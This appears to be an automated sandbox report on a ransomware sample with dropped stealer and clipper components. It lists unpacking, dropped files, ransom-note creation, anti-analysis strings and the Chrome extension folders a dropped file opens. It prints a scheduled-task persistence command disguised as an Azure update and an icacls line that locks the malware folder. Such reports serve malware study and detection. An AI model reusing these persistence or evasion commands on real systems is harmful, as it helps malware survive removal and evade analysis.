Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\e\m source: lzShU2RYJa.exe, 00000004.00000003.2177375812.0000000009B59000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2176753616.0000000009B4A000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2184887872.0000000009B55000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2170039027.0000000009AF7000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2169954717.0000000009AE0000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2170148385.0000000009B59000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2189531010.0000000009B5D000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2149632305.0000000009B55000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2163810924.0000000009B59000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: WINLOA~1.PDBwinload_prod.pdbr03851v0.xmll source: lzShU2RYJa.exe, 00000004.00000003.2077051503.0000000003116000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\\* source: lzShU2RYJa.exe, 00000004.00000003.2171087859.0000000009C34000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2162899841.0000000009C47000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2170441353.0000000009C2B000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2168757254.0000000009C2B000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2164561210.0000000009C47000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2171860125.0000000009C3B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: lzShU2RYJa.exe, 00000004.00000003.2076540084.0000000009BF1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\e\8 source: lzShU2RYJa.exe, 00000004.00000003.2184242127.000000000354F000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2185639341.0000000003556000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\X source: lzShU2RYJa.exe, 00000004.00000003.2177788086.000000000352F000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2184242127.000000000354F000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2185639341.0000000003556000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb.bgzq source: lzShU2RYJa.exe, 00000004.00000003.2076540084.0000000009BF1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ls\\| source: lzShU2RYJa.exe, 00000004.00000003.2196024448.000000000348B000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2197421831.000000000349A000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000002.2203036181.000000000349A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\bbwe\ source: lzShU2RYJa.exe, 00000004.00000003.2193932559.0000000009B4A000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2194205438.0000000009B55000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ata\\ source: lzShU2RYJa.exe, 00000004.00000003.2177788086.000000000352F000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2169647341.0000000003526000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\9 source: lzShU2RYJa.exe, 00000004.00000003.2100984383.0000000009C40000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2076540084.0000000009BF1000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2100466846.0000000009C1D000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2097381286.0000000009B79000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2097635884.0000000009BAC000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2098328627.0000000009C1A000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2100678856.0000000009C2C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: lzShU2RYJa.exe, 00000004.00000003.2100984383.0000000009C40000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2163014831.0000000009C4C000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2121424734.0000000009B94000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2162899841.0000000009C47000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2076540084.0000000009BF1000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2121752665.0000000009C25000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2122082817.0000000009C48000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2100466846.0000000009C1D000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2097381286.0000000009B79000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2097635884.0000000009BAC000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2135968682.0000000009C48000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2149491082.0000000009C38000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2098328627.0000000009C1A000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2100678856.0000000009C2C000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2135279219.0000000009C38000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: lzShU2RYJa.exe, 00000004.00000003.2196024448.000000000348B000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2197421831.000000000349A000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000002.2203036181.000000000349A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\Dan\Desktop\work\sqlite\tmp\sqlite_bld_dir\2\sqlite3.pdb source: build2.exe, 00000008.00000002.1939081602.0000000020E34000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1938732049.000000001E8B8000.00000002.00001000.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Unpacked PE file: 1.2.lzShU2RYJa.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Unpacked PE file: 4.2.lzShU2RYJa.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Unpacked PE file: 6.2.lzShU2RYJa.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build2.exe	Unpacked PE file: 8.2.build2.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Unpacked PE file: 11.2.lzShU2RYJa.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build3.exe	Unpacked PE file: 16.2.build3.exe.400000.0.unpack .text:ER;.data:W;.kic:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.reloc:R;
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Unpacked PE file: 20.2.mstsca.exe.400000.0.unpack .text:ER;.data:W;.kic:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.reloc:R;
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Unpacked PE file: 24.2.lzShU2RYJa.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Unpacked PE file: 26.2.mstsca.exe.400000.0.unpack .text:ER;.data:W;.kic:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.reloc:R;
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Unpacked PE file: 29.2.mstsca.exe.400000.0.unpack .text:ER;.data:W;.kic:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.reloc:R;
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Unpacked PE file: 31.2.mstsca.exe.400000.0.unpack .text:ER;.data:W;.kic:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.reloc:R;

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Unpacked PE file: 1.2.lzShU2RYJa.exe.400000.0.unpack
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Unpacked PE file: 4.2.lzShU2RYJa.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Unpacked PE file: 6.2.lzShU2RYJa.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build2.exe	Unpacked PE file: 8.2.build2.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Unpacked PE file: 11.2.lzShU2RYJa.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build3.exe	Unpacked PE file: 16.2.build3.exe.400000.0.unpack
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Unpacked PE file: 20.2.mstsca.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Unpacked PE file: 24.2.lzShU2RYJa.exe.400000.0.unpack
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Unpacked PE file: 26.2.mstsca.exe.400000.0.unpack
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Unpacked PE file: 29.2.mstsca.exe.400000.0.unpack
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Unpacked PE file: 31.2.mstsca.exe.400000.0.unpack

Source: C:\Users\user\Desktop\lzShU2RYJa.exe

Code function: 1_2_00412220 GetCommandLineW,CommandLineToArgvW,PathFindFileNameW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,K32EnumProcesses,OpenProcess,K32EnumProcessModules,K32GetModuleBaseNameW,CloseHandle,

1_2_00412220

Source: build3[1].exe.4.dr	Static PE information: section name: .kic
Source: sqln[1].dll.8.dr	Static PE information: section name: .00cfg
Source: mstsca.exe.16.dr	Static PE information: section name: .kic

Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 0_2_00406795 push ecx; ret	0_2_004067A8
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 0_2_044E30AF push ecx; retf	0_2_044E30B2
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 0_2_05E48F05 push ecx; ret	0_2_05E48F18
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 1_2_00428565 push ecx; ret	1_2_00428578
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 3_2_043F10AF push ecx; retf	3_2_043F10B2
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 3_2_05E28F05 push ecx; ret	3_2_05E28F18
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 4_2_0050D050 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 4_2_0050D008 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 4_2_0050D028 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 4_2_0050D090 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 4_2_0050D0A8 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 4_2_0050D318 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 4_2_0050C4E0 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 4_2_0050D550 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 4_2_00428565 push ecx; ret	4_2_00428578
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 4_2_0050D698 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 4_2_0050C960 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 4_2_0050C928 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 4_2_0050C988 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 4_2_0050C9A8 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 4_2_0050CB78 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 4_2_0050CD60 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 4_2_0050CDF0 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 4_2_0050CE58 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 4_2_00512E7D push FFFFFFBDh; ret	4_2_00512E87
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 4_2_0050CF28 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 4_2_0050CFC0 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 4_2_0050CF90 push eax; retn 004Dh	4_2_0050D6B5

Persistence and Installation Behavior

Infects executable files (exe, dll, sys, html)

Source: C:\Users\user\Desktop\lzShU2RYJa.exe	System file written: C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\LocalState\ThirdPartyNotice.html			Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	System file written: C:\Users\user\AppData\Local\Temp\chrome.exe			Jump to behavior

Source: C:\Users\user\Desktop\lzShU2RYJa.exe	File created: C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build3.exe	Jump to dropped file
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	File created: C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build2.exe	Jump to dropped file
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\build2[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\build3[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build3.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build2.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\sqln[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	File created: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Jump to dropped file

Source: C:\Users\user\Desktop\lzShU2RYJa.exe	File created: C:\_README.txt	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	File created: C:\$WinREAgent\_README.txt	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	File created: C:\$WinREAgent\Scratch\_README.txt	Jump to behavior
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	File created: C:\_README.txt
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	File created: C:\Users\user\_README.txt

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build3.exe

Process created: C:\Windows\SysWOW64\schtasks.exe /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe"

Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SysHelper			Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SysHelper			Jump to behavior

Source: C:\Users\user\Desktop\lzShU2RYJa.exe

Code function: 0_2_004055E3 EncodePointer,__initp_misc_winsig,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_004055E3

Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot	Jump to behavior
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot
Source: C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build2.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate
Source: C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build2.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot

Source: C:\Users\user\Desktop\lzShU2RYJa.exe

Process created: C:\Windows\SysWOW64\icacls.exe icacls "C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6" /deny *S-1-1-0:(OI)(CI)(DE,DC)

Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build2.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match

File source: Process Memory Space: build2.exe PID: 7664, type: MEMORYSTR

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: build2.exe, 00000008.00000002.1936229908.0000000000400000.00000040.00000400.00020000.00000000.sdmp

Binary or memory string: AAVGHOOKX.DLLAVGHOOKA.DLLSNXHK.DLLSBIEDLL.DLLAPI_LOG.DLLDIR_WATCH.DLLPSTOREC.DLLVMCHECK.DLLWPESPY.DLLCMDVRT32.DLLCMDVRT64.DLL

Source: C:\Users\user\Desktop\lzShU2RYJa.exe

Code function: 0_2_044E171C rdtsc

0_2_044E171C

Source: C:\Users\user\Desktop\lzShU2RYJa.exe

Code function: 4_2_00481920 GetVersionExA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,NetStatisticsGet,NetStatisticsGet,FreeLibrary,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateToolhelp32Snapshot,GetTickCount,Heap32ListFirst,Heap32First,Heap32Next,GetTickCount,Heap32ListNext,GetTickCount,GetTickCount,GetTickCount,Process32First,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,CloseHandle,FreeLibrary,GlobalMemoryStatus,GetCurrentProcessId,

4_2_00481920

Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: _malloc,_malloc,_wprintf,_free,GetAdaptersInfo,_free,_malloc,GetAdaptersInfo,_sprintf,_wprintf,_wprintf,_free,		1_2_0040E670
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: _malloc,_malloc,_wprintf,_free,GetAdaptersInfo,_free,_malloc,GetAdaptersInfo,_sprintf,_wprintf,_wprintf,_free,		4_2_0040E670

Source: C:\Users\user\Desktop\lzShU2RYJa.exe

Thread delayed: delay time: 700000

Jump to behavior

Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Window / User API: threadDelayed 929
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Window / User API: threadDelayed 9070

Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build3.exe	Jump to dropped file
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build2.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build2.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\sqln[1].dll	Jump to dropped file

Source: C:\Users\user\Desktop\lzShU2RYJa.exe

Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess

graph_1-39521

Source: C:\Users\user\Desktop\lzShU2RYJa.exe TID: 7624	Thread sleep time: -700000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe TID: 4488	Thread sleep count: 929 > 30
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe TID: 4488	Thread sleep time: -209025s >= -30000s
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe TID: 4488	Thread sleep count: 9070 > 30
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe TID: 4488	Thread sleep time: -2040750s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 1_2_00410160 PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,FindNextFileW,FindClose,	1_2_00410160
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 1_2_0040F730 PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,_wcsstr,_wcsstr,FindNextFileW,FindClose,	1_2_0040F730
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 1_2_0040FB98 PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,FindNextFileW,FindClose,	1_2_0040FB98
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 4_2_0040F730 PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,_wcsstr,_wcsstr,FindNextFileW,FindClose,	4_2_0040F730
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 4_2_00410160 Sleep,PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,FindNextFileW,FindClose,	4_2_00410160
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 4_2_0040FB98 PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,FindNextFileW,FindClose,	4_2_0040FB98

Source: C:\Users\user\Desktop\lzShU2RYJa.exe

Thread delayed: delay time: 700000

Jump to behavior

Source: C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\
Source: C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\
